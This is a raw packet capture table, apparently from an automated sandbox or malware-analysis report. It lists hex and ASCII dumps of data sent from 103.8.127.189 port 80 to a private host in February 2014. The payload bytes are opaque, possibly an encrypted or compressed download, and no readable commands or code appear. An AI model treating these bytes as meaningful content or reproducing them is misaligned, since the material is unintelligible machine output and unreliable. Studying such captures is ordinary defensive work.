Feb 27, 2014 17:56:09.551227093 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 02 a7 96 f6 2b 3f 56 99 d9 bd 57 b0 cf 68 92 ec e9 af 3a bc c7 88 69 9a 5c ad d7 e9 cf 01 5a d1 b8 08 33 51 47 21 02 9d 6a 68 35 ec 0a 88 02 d3 0a ec 3b d0 0e 80 1f bb 66 7d d3 bb e2 8d 8b f8 c3 00 8c 79 01 85 95 54 68 a7 d7 b1 4e 85 07 db 4b 8c Data Ascii: +?VWh:i\Z3QG!jh5;f}yThNKl9!F+qd9G8C[L]hh}+iX6i6Cimb+u&e=jS\|>q'<La:F78h7XIHC@CCfy}V	847
Feb 27, 2014 17:56:09.551243067 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: ca ed 77 b9 ae a8 32 69 7a 91 da 16 82 4c 13 f9 2f b6 36 7d ab 44 c8 b8 0a c9 7b 75 a1 05 d6 98 e2 a5 87 31 ce 2d 1b 39 48 6d 5e b9 4a ec 5e b8 4b a0 37 2e bb 8b 06 f9 ca 61 92 3d 7f c9 97 7c 4a 0d 42 55 a3 ac 72 43 6a ac 97 18 a3 53 7e 99 66 c9 Data Ascii: w2izL/6}D{u1-9Hm^J^K7.a=\|JBUrCjS~f bJPPm^dw\|#J_:wge_4$q_>{]ZiEKIBdZ bpyivi,KlRj$wq$Fj$>q	849
Feb 27, 2014 17:56:09.551248074 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4a c0 f3 2c 6e 61 76 11 19 a8 32 18 6a d8 9f 71 02 45 01 f8 09 a8 d7 95 a6 34 37 35 26 ac fe 6d 6a 68 7e 14 da 8c 01 1d cb df 17 f4 d5 af 1a 30 2a 45 17 2f 62 65 7f 11 20 84 f3 f9 23 24 52 98 c2 e9 fa 3c 4a ac fa 90 a2 5e 3f 38 2a ac fb 2e 6e 44 Data Ascii: J,nav2jqE475&mjh~0E/be #$R<J^?8.nD{%7MjFJ$^Y6<NM5#$JJHw7o%RJ\|"mSWn4JOA{?*$Rji{?#kIz+D;L#H'N@~	850
Feb 27, 2014 17:56:09.551350117 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 48 dd b6 de 1b e1 bf f8 e2 d3 15 9d ba 8b 2c fd e2 ec bf 06 4a 80 bf 9c e2 d3 d7 51 c7 ac bf c2 af 04 b7 51 39 4c 17 51 8e 04 ac 58 e2 41 bf f9 71 00 bf f8 e3 1f 7b 50 Data Ascii: H,JQQ9LQXAq{P	851
Feb 27, 2014 17:56:09.605981112 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4a 85 be 82 26 05 57 50 fd ac 1a 50 2e 05 e0 d5 e3 25 1f 50 fd 6c 17 de b1 0c be d4 02 04 e1 94 fa 8a 71 d0 fa af f1 b9 8e 04 ba 51 a0 41 74 df a7 ac bf d3 e6 04 1a 50 ac e4 37 50 4e 05 79 91 2a 87 39 f4 4a 05 53 50 60 88 be 90 e3 a8 3d 39 fa 8a Data Ascii: J&WPP.%PlqQAtP7PNy*9JSP`=9=`,8BPJUhU#nmJXUU1JrTBnwT`Tlq 0TJDUd[Uo_U$m NUJ#;T T1	852
Feb 27, 2014 17:56:09.605997086 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: e7 86 32 54 2a e4 ba 17 86 2c 30 97 a2 ac 32 93 4a 24 ba 39 e7 42 b2 54 a6 ac ba d3 0e 0c 3a 59 f9 c0 17 59 6b 0c 2c f1 ea c1 b7 f9 fd 6c b7 78 ea 9b 96 59 4a 40 b7 8a ef 0c ff 59 71 ac 56 58 66 0d 60 b8 ea e1 13 59 24 ad 1b 9b 8e 0d b3 58 4a c2 Data Ascii: 2T*,02J$9BT:YYk,lxYJ@YqVXf`Y$XJz]x\7J;\u}xNFz\JOS\(yNJk-\\uxNFxNF\u\(-\(%9uHFVWJVF$F-WQq`	854
Feb 27, 2014 17:56:09.606236935 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 0b bc 9a f9 a2 c5 07 fa 6f 24 9b fd 4f 49 85 f9 0a 61 d6 50 61 ae fa 68 4a 4c b3 f0 0a 38 13 f8 da ac 4c b0 ca a8 96 b4 2a ad 87 f9 51 28 9f 1d 6f ea 96 fb 22 dc 10 59 c7 a8 7a 42 ce ad 87 f9 01 48 7a 55 ab 64 5e d0 7b ad be 1d 5a c2 9f 89 48 67 Data Ascii: o$OIaPahJL8L*Q(o"YzBHzUd^{ZHgrY&a<x,dJ-,W3nJSJSXHJ~)QA>lJN[&^jZQX?]jCJSY,8by(yV)yatyU[	854
Feb 27, 2014 17:56:09.616971016 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 13 6d d5 60 57 fb 65 6d 13 66 a3 ec 15 7d a5 44 51 6a a3 68 96 7d 09 34 11 11 8a de 54 e8 a3 0d 96 78 c5 59 55 fb a6 ea 0c 14 0c ae d6 fd 09 e1 d6 fd 6f ef 15 19 8a a2 70 79 0a ae 38 18 11 ea 15 38 4e 8b d1 fd 09 ae f3 bf 4d 49 68 bf 48 6d 13 ba Data Ascii: m`Wemf}DQjh}4TxYUopy88NMIhHmMmHm5MEHHZIK@1++4J6WNOHOH7lvviKZIKj_u1++4NOHHOl<,,FlvTH	856
Feb 27, 2014 17:56:09.616988897 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 37 b8 ae 07 3e 59 23 ac b7 12 02 85 13 99 f7 65 17 b9 8b 61 49 11 42 c4 9b f9 83 ed bf b9 e2 b9 53 51 4a e4 bf ac 06 04 77 51 17 ec 73 51 22 04 ca 95 da ac c2 f9 ea c5 36 fc 10 25 b2 35 4a 80 0c 99 8f cd fa aa e3 ac f2 78 ce 9a 1f f4 07 65 17 63 Data Ascii: 7>Y#eaIBSQJwQsQ"6%5Jxecax:,u,6W8FJH[";]zWEiT }JuW=8'XJQR5U*Co{C;T[K=sTJh{TY<JXo	857
Feb 27, 2014 17:56:09.616991997 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d3 79 8e ad 16 3c 0f 48 97 1c 4a 2c 68 15 ca 40 97 06 af a5 97 f1 b9 4c 57 fb 35 49 97 18 de 2c 64 bb 4d 4c 57 fb f5 40 17 f8 ca 17 fb 79 a3 2c e8 15 4a a7 f5 46 ce a1 fe 79 f5 6d 19 39 4e ac 11 ac cb af 60 fb 4c 41 96 fa ab 2c 05 4a 0a 4d 97 14 Data Ascii: y<HJ,h@LW5I,dMLW@y,JFym9N`LA,JMyV_pXEByGKxloxkJK/6y,WM Mh39Y>JxN8h~Pxl&_~TU5UY$uBI}BFUyAV	858
Feb 27, 2014 17:56:09.627971888 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: fd 59 fa 8c 16 e9 87 68 d2 1a 09 a5 d7 34 8a ec 5e 3d 83 60 d3 42 8d ad d7 d9 8b 68 d6 8f 82 0e 1f 3c 8b a4 d7 c5 8b ec 16 46 8f 60 db f9 87 c2 d6 30 ca 2c b8 39 ea 69 d7 34 7c 6c d7 60 55 4c 1e f9 8b 42 d3 30 8e 65 64 3d 43 ac 14 a6 8b ac 03 47 Data Ascii: Yh4^=`Bh<F`0,9i4\|l`ULB0ed=CGa{O4l(4mlgeL38ll"`<+7$9,*WU1[tAMZE0kHPJIRV{LVfEGHIJI	860
Feb 27, 2014 17:56:09.627989054 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: be b9 4a 9f 56 90 9a ad 44 de a2 7b 37 14 aa 45 ff 75 ba 8a fa 27 cb 4e a9 39 ab 4d fe 4a ab fc 19 25 f5 01 16 6c ae ea 87 f9 ef 1d d1 1b 4a d8 92 1d 2a be d6 b9 4a 1c c8 b9 4a 6c 32 b9 4a 13 37 7d af 97 07 c0 a7 c6 57 1c a6 68 fa d3 a6 4c 08 05 Data Ascii: JVD{7Eu'N9MJ%lJ*JJl2J7}WhLl/hlqaBI\]iH!<QP@Ij$WLJDCAJJiyKJ1Biem2EJMLTHII@y,7,y9y,=Ey@	861
Feb 27, 2014 17:56:09.628096104 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 16 f9 0a 20 78 f8 e2 2c f3 64 0a 65 1e 54 ca 8b f6 f8 6b cc 17 f0 af c0 62 90 cb a5 f2 f9 e3 c0 1e 7d cb c6 56 39 5a c1 92 68 ce 8c 14 32 43 69 17 91 4f 5b 57 1d 8f a5 cd f9 ae 28 96 98 72 c5 b6 f0 4a 28 ad fc 0a 45 92 0f ef ac 7a 94 ca 6f 97 90 Data Ascii: x,deTkb}V9Zh2CiO[W(rJ(Ezo-WylzRWJHW,~7<&(QJ,>W*,\|9`yVC{xmDW#,loK$&'6K\|(>kcOx[V\|G)y3k,#,V\|N	862
Feb 27, 2014 17:56:09.731590986 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d2 34 8e 2c 17 f8 a4 e8 9b f0 8f 53 7b b8 7b cc 37 58 03 84 1b 18 c6 53 d7 50 06 21 12 d3 2e 2d 9a 79 2a ac f7 4d c7 05 57 74 0c ad 95 9c 5a 93 97 90 cb ac f6 78 4c ae 81 29 2f 69 4e 95 43 61 77 e9 a7 a5 fa 99 bb f2 16 b9 94 ae 97 39 49 53 16 b8 Data Ascii: 4,S{{7XSP!.-yMWtZxL)/iNCaw9ISL(BHq;NJw+T&g%[LI#'c(4yJy[i$i=mFYCZm9'CuClQ)MI<G;3]J&dU7	864
Feb 27, 2014 17:56:09.731609106 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 17 32 67 2c 97 79 35 a5 d2 f9 ca a9 a0 b9 ae 6d 1e 27 4a 61 93 50 23 7d f6 71 42 a4 9b c4 cf 2c 1f 4c 23 2d 1e f9 87 03 7b fc 27 48 66 58 6a a9 5e 1d b7 21 97 b1 2f a5 17 35 ea 6c b3 f0 8e 20 d7 f9 cf a5 d3 7d 8b 01 d7 94 4a ec 16 ff 0e 2c be 3c Data Ascii: 2g,y5m'JaP#}qB,L#-{'HfXj^!/5l }J,<{P^A&lO,<!MC5{y`yYOxymR=",#SK,jo,QKf,I7CuitlJX,y:ZC-#	865
Feb 27, 2014 17:56:09.731611967 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: b7 be 4f 89 87 e9 8f ac 74 f5 78 4c 30 79 b5 6c f2 71 e3 a8 65 dd db ac 5b f3 4b 3e 42 3c 22 6c 1e ab 06 c4 3f 19 2b 15 27 ff 87 0c 7b bd ce be 78 79 40 29 e0 79 40 c5 b5 78 cb 1c 13 88 c7 05 1b d1 89 5c 14 fa 9a a7 a3 f1 8f a7 9f 78 c2 a1 d1 0e Data Ascii: OtxL0ylqe[K>B<"l?+'{xy@)y@x\x\|"voYUn,zN ,qKMQW$C,xe1a?Io$Co,EB]0 =7K]WP*\ubWO<PX'F.Jm,qw?aw%	866
Feb 27, 2014 17:56:09.731616020 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 37 39 4b c4 be 98 9a e0 1e 99 c2 a5 35 b1 2a a5 f8 70 06 1d 8e e9 c7 a8 13 15 2a ae 1e 07 4f 2d 67 fa 3a c1 d2 3d 8a ad 06 fa 08 91 05 fa 0f 69 5b 78 2a 32 97 81 22 53 fb f8 44 bd 4f 99 8c 8f c9 fc 4c 27 95 ff eb cf e2 f4 47 c8 7b 88 2a 87 7f 14 Data Ascii: 79K5pO-g:=i[x2"SDOL'G{GBxr9^']e'<&l9s'\|zJz'AHxKYUnW"{[}eZC'Gaw."W@>rJz9Kl{JJ;S11	868
Feb 27, 2014 17:56:09.731618881 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 97 98 4a 89 e4 f0 82 64 1e 46 43 ae 57 bb 59 64 db 16 eb c1 1e f1 43 a2 53 f8 56 a5 fe 71 43 a8 d1 f1 2a ba e8 79 4b c5 9b f9 ad 49 fb 50 0f cc f2 11 72 e9 16 93 88 b3 57 e8 0a a8 1f f1 4e 2c a0 f9 47 65 e9 11 43 ac 13 f5 2f ec 15 f0 b5 6d fb f0 Data Ascii: JdFCWYdCSVqCyKIPrWN,GeC/mBC.HEl(--,VuDcm=CwJ70?5bq~IjCoL8dylQGmyC;UC9A6rI	869
Feb 27, 2014 17:56:09.731769085 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 9f 68 e5 21 1e 35 4a d6 b3 39 43 68 cd 51 8a a4 7a b8 9b 7c 48 f0 f4 68 9b c9 43 6c 0d 3d bb 05 d7 f8 ee 47 5e 39 4b 04 7c 39 4b ad 51 39 4b 68 85 01 8a ad d7 92 8a ad 9a 0e 8a ad 33 39 e7 6c 16 39 e7 6c 16 bd 51 ad d7 f8 c6 4d 1e 39 e2 a9 b0 b0 Data Ascii: h!5J9ChQz\|HhCl=G^9K\|9KQ9Kh39l9lQM9'Ozlq%lhQC`]lzXz ,5w,s},I[,czJ(XaVRi5J7HI\|Z-6<w,.`H`'U	871
Feb 27, 2014 17:56:09.791250944 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: b1 b1 8e ac d6 91 8d 2c da 79 ca 43 06 f9 5b 2d a8 dc 48 bc db 30 43 ec d5 9c 87 ed 5b 22 88 27 d3 f9 43 49 9f de 43 68 9b f8 ca 02 57 90 8f e9 d5 3c 8a f1 97 29 ca 2c ba 94 be c1 17 ca 48 90 d7 ac 26 11 1e 3d ae ad 17 5f 22 2d f2 79 3a a5 7b f1 Data Ascii: ,yC[-H0C["'CIChW<),H&=_"-y:{"-B=!y-EC,y5,-W;LPWC=^F)xqW,Jl9~`,N`N3~Q(ye#`4PZ}l+PtJ	872
Feb 27, 2014 17:56:09.791268110 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d8 79 0a 48 df 50 92 a0 17 e9 61 8c 97 18 8a a5 dd 49 4d 60 2d 59 e6 05 57 f8 ad 6d 1b 16 7a c9 5f 1c 8e 0c 27 bb 19 a4 d7 a1 b5 ad 22 bb 22 15 92 1c c6 05 d6 7d 46 a4 36 d6 ae 2d 16 2b 1a c1 b3 78 2f 2c 1c 50 c4 7d 16 e5 2a a1 97 79 95 48 96 f0 Data Ascii: yHPaIM`-YWmz_'""}F6-+x/,P}*yHwND!-L!H-=H3Pp#=pPHkG@'eleJ(tndWYRc>{yPP/(yD^DhJWCC	874
Feb 27, 2014 17:56:09.791270971 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: ad 51 43 a8 17 d9 29 28 97 79 0f 92 d3 f9 aa 2c 97 46 ca 2c 1f 7d 0a 57 9f f0 46 88 fc f9 59 0d 17 c5 27 48 1e 55 67 6d 1e f1 46 8c 7c f9 44 a5 29 fd 42 a4 93 79 59 ac 36 71 b4 21 33 e9 0a 85 92 78 4a ea e8 78 46 a4 37 7d a6 ac 71 78 b1 a0 13 f9 Data Ascii: QC)(y,F,}WFY'HUgmF\|D)ByY6q!3xJxF7}qxN,y-J@z5eNHKy4,="`JDf\|C`P_,W8,UxP'PJnJ!1'zWaVPiqO.,,y7IT>,C,_,HDPE9	875
Feb 27, 2014 17:56:09.802460909 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: b8 f9 4b c5 e8 fc 4b 9c 17 f0 86 0c 16 5f 23 24 56 79 2b 53 9b f8 0b 2c e8 d9 29 a4 be 04 4e 4c 49 c6 ca 41 b7 7d 43 72 b4 e5 e3 ec fb 30 aa 92 17 7d 6c 41 93 f0 0b d6 7e e9 c7 0d 57 59 ea ad 9a 63 4f 8c 57 f4 8a c2 97 99 35 04 57 f9 0b cc 93 07 Data Ascii: KK_#$Vy+S,)NLIA}Cr0}lA~WYcOW5WNZZDO,qv-#J$VC_RP=MzK*yh#zJ!2.wBBiw<VIsgLF}H!aPZ7YE4]j	876
Feb 27, 2014 17:56:09.802478075 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 2c 49 e8 2c f8 51 43 2c 9e 82 27 fd 2c f8 a7 08 bf e9 d7 21 12 98 4b 33 d2 f0 b8 ac fa 71 e3 c5 66 1d c7 a5 3f 3c 20 0c 57 9c b3 2d 77 ce e3 ac da 5d af c1 9b d1 26 c1 01 29 7a 61 05 c9 ea bd 27 75 ad c1 16 98 0e 69 9b 7d ca 57 97 79 4a 6d 1e 0b Data Ascii: ,I,QC,',!K3qf?< W-w]&)za'ui}WyJm({U~t@bi,jxY{,Caa0y,BB\y):PycutOLZ; :H }#q)&z^yQy-'**:su:%	878
Feb 27, 2014 17:56:09.802617073 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 80 b9 e6 a5 b9 35 ee 69 97 50 d8 e9 d7 38 22 3b 17 c0 4f af 0d 77 4a b6 fb 05 ea 61 1e e1 8e e0 bb 3f 52 ac 11 78 e5 60 17 59 e3 68 81 59 af 29 52 f5 10 68 97 d9 8a f5 1e 3d b2 00 17 50 0a 4d d3 7c cb ed 1e 79 ad 68 bb 34 eb 9c 57 79 41 b8 dc 34 Data Ascii: 5iP8";OwJa?Rx`YhY)Rh=PM\|yh4WyA4Jx:$JW<OXtN;xtJ,yKu,cCy)QIJ}3BKp(R)W,1Cd}4J~<WhawqCawi_yHWKRu*,&'J	879
Feb 27, 2014 17:56:09.813625097 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 5c 29 76 d6 41 be 96 ff 58 2c f6 7d 9b a9 05 b5 a7 21 17 eb f4 ba 05 b9 1d a8 1e bb 49 be 93 f0 03 e6 16 e9 2b c1 97 0a 6a a7 df 06 c2 ac 1e 34 ea 47 1e b8 0b c4 85 56 0a 95 9b 06 4a b9 97 de 4a b9 33 1d f7 0c 33 95 7d cc 03 11 a4 e5 b7 dd 26 1b Data Ascii: \)vAX,}!I+j4GVJJ33}&Cr)NyX\|a7H&6q`yQ,<<l6Fmd71l"a4$a^YiQz= ZyG34\|.\~uCDkO\|GU\|!u9Bi:[Vas	880
Feb 27, 2014 17:56:09.813642025 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 8f 44 1e d7 87 44 56 90 4e 12 96 a9 4f 06 be 34 86 4c 13 dd 6b ec 8c ea ca 2c be 3c 4a 5a ff 18 eb c5 dd 7c 47 b0 33 5d 9a eb a6 f4 2a a8 99 dc c6 8c d2 59 7d 6c d7 c8 2a 48 1e f9 8e 81 da 19 27 69 85 11 4a 05 d2 11 91 4c 73 f4 4f a8 39 59 3a 8a Data Ascii: DDVNO4Lk,<JZ\|G3]Y}lH'iJLsO9Y:h@-<WJ?,=m)yGi9hIcZSk7]0-B:Ca4p1MV)vlsP~TuW<Ih xQN1JEJ	882
Feb 27, 2014 17:56:09.813644886 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: b5 0d d7 fa b5 84 d7 1d 4e 21 e1 d9 0f e9 a9 39 c2 ac 97 b0 95 6c 97 90 c2 13 f7 fb 4b cc 37 b1 4b cd 2c 74 43 61 37 31 f1 e9 92 7c ab a5 1e 3c ca 56 df fc 0a 48 ea 3c 4b 29 b7 50 47 88 b3 06 20 0e 93 14 71 af b5 7c 2a e7 96 2f 02 05 f2 31 ca ef Data Ascii: N!9lK7K,tCa71\|<VH<K)PG q\|*/1Ca1P+dg-iGUj__}TrL0jl%TMt/y#Z1:]Cnb#7j[t[=jI0xHQ]9Cvxx)yKZw=CiYh=	883
Feb 27, 2014 17:56:09.824541092 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 68 39 41 a9 d4 b9 ae bc 93 bc 9c 29 07 cb c5 2c db 71 83 84 d6 c9 4b c1 57 34 9a a0 03 d4 0a 7c 1b 47 ba a8 d2 82 0a a4 be 3d ce cc 27 99 e3 32 db f9 ca 2d d3 e7 c2 2d db 7d ca 5d 96 34 c6 ad d1 14 6a ae 17 c6 8f ec f3 58 9f a9 5e f1 ae 01 d0 19 Data Ascii: h9A),qKW4\|G='2--}]4jX^W,8\hwp$lw9"KltuC<^l2Yz}HBqh" }/^Hz!#4BZ:+;=4z(pCzgn,tO{A'	884
Feb 27, 2014 17:56:09.824558020 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 16 b9 ce c3 de 1c 4a c9 1a 2e 4a a4 9e 79 f5 a5 57 f1 ca 7f 97 df 2e 5c f3 f0 4a 0c 16 4f 0a 28 de 1c b7 ec 72 f4 4a 40 6e 71 4a a3 aa b0 8a a2 97 c6 85 a2 3f 2c 4b aa e8 b9 ae a5 17 fd f3 28 d6 9a 0a bc 1e f9 66 57 57 fb 43 93 17 f9 62 28 97 4a Data Ascii: J.JyW.\JO(rJ@nqJ?,K(fWWCb(J@Uj-5J[MJll,=J\jp,S]Ca{G6PAnN%BKp,x!2uJyqB}(53Bl"j9kYmn_<+k	886
Feb 27, 2014 17:56:09.824671984 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 1e 4f 8a 24 27 f1 c6 d1 96 a9 14 ad 1f d8 77 ae 97 c9 41 e3 97 79 cb 64 ea f9 ce 04 5f 1d 20 ed 7b f4 4a 60 38 51 2a 48 1e e2 6a ad e5 fd 43 49 73 1e 23 28 f3 e1 43 36 13 c9 4d bc 4a 1d 0b 54 37 99 ae 25 17 54 78 aa 96 b4 1a 05 da 54 26 fc 1d 84 Data Ascii: O$'wAyd_ {J`8QHjCIs#(C6MJT7%TxT&t'LzB-Jsg]{tB?jo_g5CaJzJ@t2iL7{oCdV%9(JBxJ".-}1!#i}UFA{Z6,L,	887
Feb 27, 2014 17:56:09.835421085 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 7f f9 4b ec 2d 9c 43 a8 3b 88 81 7f 07 a9 4e 48 c1 e9 c4 25 f4 f9 98 bc 13 f5 66 8e d2 c7 8f 20 1e f5 b0 56 45 fd 82 f3 1e a6 43 f3 1e a6 43 f3 1e d6 15 a5 48 f0 11 a5 87 30 90 fe 13 f8 0a ac 7b f8 fc c5 9b 15 8e dc 37 1d 43 ec f3 5f 5a 83 db d3 Data Ascii: K-C;NH%f VECCH0{7C_Z(7Hgn=Z$pRx`}Bs@*{{iJ(EJ(y`}kQ"^NCK#-/(FHq,m!F,byK~@tfL9!2yn	888
Feb 27, 2014 17:56:09.835428953 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: f3 c9 4b c6 3b b1 8a 68 17 fa ea 5b 13 d1 ea 2c 79 79 47 a0 93 00 43 cc 8c f9 b7 8c 1e 79 ed 49 9b f9 8a ad 79 b8 ce 01 97 0e 4b cc 15 15 b7 c1 b6 b9 0b 22 45 d1 0a ad 68 79 2a 00 f8 9b 5b 0d 17 b9 8e a5 25 98 4b c8 96 f9 21 25 53 31 0b 05 7e 78 Data Ascii: K;h[,yyGCyIyK"Ehy[%K!%S1~xJAwO5\_8IC@q-9^Ye(zveVf~qa9NWg(p t[BMK;?wK[F&Y$Y8X+#,@9_(iR	890
Feb 27, 2014 17:56:09.835433960 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d7 e8 8a b3 93 d6 87 cc 35 93 8f 28 17 1d 0b f4 77 f8 0b 2d b9 ec 8d 1a 97 d9 c5 c1 84 62 8f 20 ff 39 d4 2d 7f 39 23 5c e4 db 5a e9 91 22 36 ca a3 f4 87 c5 e0 3d 5a 67 85 b9 b5 a2 97 b6 fa d6 97 d6 98 0a f7 38 8e 80 96 fa 78 91 b3 f7 d8 70 19 35 Data Ascii: 5(w-b 9-9#\Z"6=Zg8xp57l+xLRYl(E-Gi'yEHK4#%-BCn)O?BLJ}zrOWsQFrB4#{#\N)A>0]~4#(,qm;N,Di	891
Feb 27, 2014 17:56:09.846204042 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 97 f2 22 25 1e 3c e7 20 97 fe 4a 55 92 79 ca 84 6a 30 cb bd 57 fe 47 48 b3 3a 57 2e 5f 74 4a 88 d3 59 cb 2d 7e 78 ac 1f 55 fb 8a 9a 96 5f 8c a8 54 fb ce ea 10 47 cf ea 15 38 4e ef 10 38 4e ef 15 71 0c ab a9 70 0c ae d6 fd 09 ab d6 fd 09 ae 9b bf Data Ascii: "%< JUyj0WGH:W._tJY-~xU_TG8N8NqpM2HmMm_,O12b99!fx>J)1r"JKzx tO,F!,?lQ#lQRV"(SW0wL7L7'W%??l)v")j)Ql	893
Feb 27, 2014 17:56:09.846211910 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 9a fd aa 28 15 52 8a bd f3 0c ee 28 f2 bd 4a 7f 7e 3c ce 2c d8 79 43 ac 57 b8 ad c4 97 f1 02 37 05 d1 fa a2 cc 9d 3b e4 17 98 c7 ac f3 00 ef 04 5e 18 8e 2d 17 f1 23 0d 7b b9 ae 81 1f b9 a4 e5 17 b8 ca 15 05 eb 42 a4 5a d1 cb ec 56 79 0b 50 77 f9 Data Ascii: (R(J~<,yCW7;^-#{BZVyPw^VJCh]!t 8I\,Fb7-J?y!yvH0^Q#zx.DJ.`d]JwqKGhSxxJ	894
Feb 27, 2014 17:56:09.846342087 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: f0 18 2a a5 d2 f6 26 ac be b1 ae 60 92 f0 8f c0 17 04 43 e4 12 b9 f5 49 be f9 43 69 6c 7d 43 2c 52 9f 4a 69 97 39 cb 73 97 79 43 ac da 02 ca a5 9f f8 30 2c 12 f9 5e 55 17 f1 ca 47 93 34 0f a4 93 33 cb ad 60 58 0a 60 1e 79 78 c9 da b8 8b 74 3e f9 Data Ascii: *&`CICil}C,RJi9syC0,^UG43`X`yxt>E,(y1sa7)P+^-{,X_GHxH4NS(KJ4z$xskyHqa{jz5CntN7y#$L5-NWyMKL~D	895
Feb 27, 2014 17:56:09.879475117 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: da 79 1a a5 9b 26 4a 6c 05 54 0a 28 1a f5 dd 20 57 cf 2a 83 1e 3c b1 28 b7 78 c2 a5 69 3c ea df c7 f9 1c ac 57 2a 86 a5 72 34 67 ed 27 30 87 84 96 5b 7f 6f 16 f0 27 e8 d2 58 0a 31 7b 46 0a cc 15 96 4a 8d d3 39 8e 52 97 58 0f ac 1e 36 8f c0 1e fc Data Ascii: y&JlT( W<(xi<Wr4g'0[o'X1{FJ9RX6f\|`lCS'yoW;K'qFzJ&mJ_NJF'QUoJevFFziOSM(RJ'xzxlWl{Js9. Jhda{X	897
Feb 27, 2014 17:56:09.879483938 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: f8 11 ca c1 f2 f9 fb 28 7a 1c ca e9 7a 1c 1a 24 7f e6 cb 4d 34 34 5a cf 7f f8 89 1d 9b 38 eb 5c 5e 3d e3 a6 7e 49 58 e0 a3 eb ca 21 13 bc 08 c7 a2 eb c2 79 1f 74 ff be 97 48 fa be 58 71 07 dc 67 49 58 8c 96 6f 4f 1c 05 7d ff be 9a fc 42 2c b4 60 Data Ascii: (zz$M44Z8\^=~IX!ytHXqgIXoO}B,`kq;Jx/WxS\|`_iY-II3z% zJ9DYu"Cl.(^rnhn{({P,'>x)jzgE_XjygByB	898
Feb 27, 2014 17:56:09.879487991 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: ba 5d 4a 68 e0 3d ca a0 1a 4f cf ac ff 3d 8e 52 97 f0 8f 2c 03 16 6b 2c 3d 67 ca a8 93 16 6b ac f7 3d 8e 12 97 f4 8f 24 1f 06 6b 40 96 fd 43 a9 77 16 4b 2c c6 bc 08 29 3f 38 8e 56 d7 79 cb 2c 96 06 ca 2c 06 79 7b ac 36 1d f1 6d d3 79 0f 02 17 7c Data Ascii: ]Jh=O=R,k,=gk=$k@CwK,)?8Vy,,y{6my\|m#%ySW`yCV,h9&YzBO'xz;$=,JA9=[k=l:J)^h&;6h!z<\|9WCVlx,W%4	899
Feb 27, 2014 17:56:09.879491091 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d7 bc ce 13 b3 fd 0b 01 36 e3 ca a9 68 79 23 ac 7e b5 a5 ad 7b d5 cf 5b 17 79 ca 6d d2 08 8e 69 ff f9 ca a5 1e 90 42 e4 af 11 4a 2c d2 f1 fd 60 b3 58 27 ac 6f 7c c6 49 d3 af ca ad 17 bd c6 43 13 b0 af 05 d3 d9 43 88 b3 b9 d7 cc 5a fc b5 ae 73 d9 Data Ascii: 6hy#~{[ymiBJ,`X'o\|ICCZs;])`z "$ji^:!"Nsj:nV11LcnA_IYqd.Cy[CZyNsA0pC"hy,~qc,	901
Feb 27, 2014 17:56:09.879492998 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 1a 3c 4a 6c d6 15 8a a5 fa 55 33 a5 b7 bd af b9 37 e8 8e 15 b3 51 da ad 53 22 c2 2c 93 88 ae 3c 02 f9 e5 08 9a dc 82 4f 9f 1d 6a a9 5e 16 ae 65 36 ba c3 ed 17 98 b5 24 f3 70 0b 47 9a f9 6f 24 9a 73 6f ec 1e 3d 0a 93 b3 5d 22 e8 e9 79 64 a5 97 17 Data Ascii: <JlU37QS",<Oj^e6$pGo$so=]"yd_W9GiY9M!3K&SuJ^H1\|HCJH =y9CF.hI[(<.<lK<ky,y"S'lI)X@$,,%K(4e	902
Feb 27, 2014 17:56:09.879652023 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: fd 71 47 28 17 07 e3 ac 5f 19 c3 8e d7 f4 8b 28 17 8e 22 ed fe 79 98 2c 7e f9 ca 0c ff b9 4e ec f3 04 4a 2d 7a 35 c2 e7 1a 35 ce ac 1e 17 8e 24 56 99 74 2c 47 91 47 44 a3 f8 50 1c 17 e3 43 ae a9 79 59 05 6b 38 c2 4d 9b f9 38 a5 d6 71 4b 72 56 7d Data Ascii: qG(_("y,~NJ-z55$Vt,GGDPCyYk8M8qKrV}Jw,hx%I=JWhz\|&=b-qJY\bh=u-R\|A9Oz,7WY.FF`;J<iC5D\|=y<DJH](SqK~HK	903
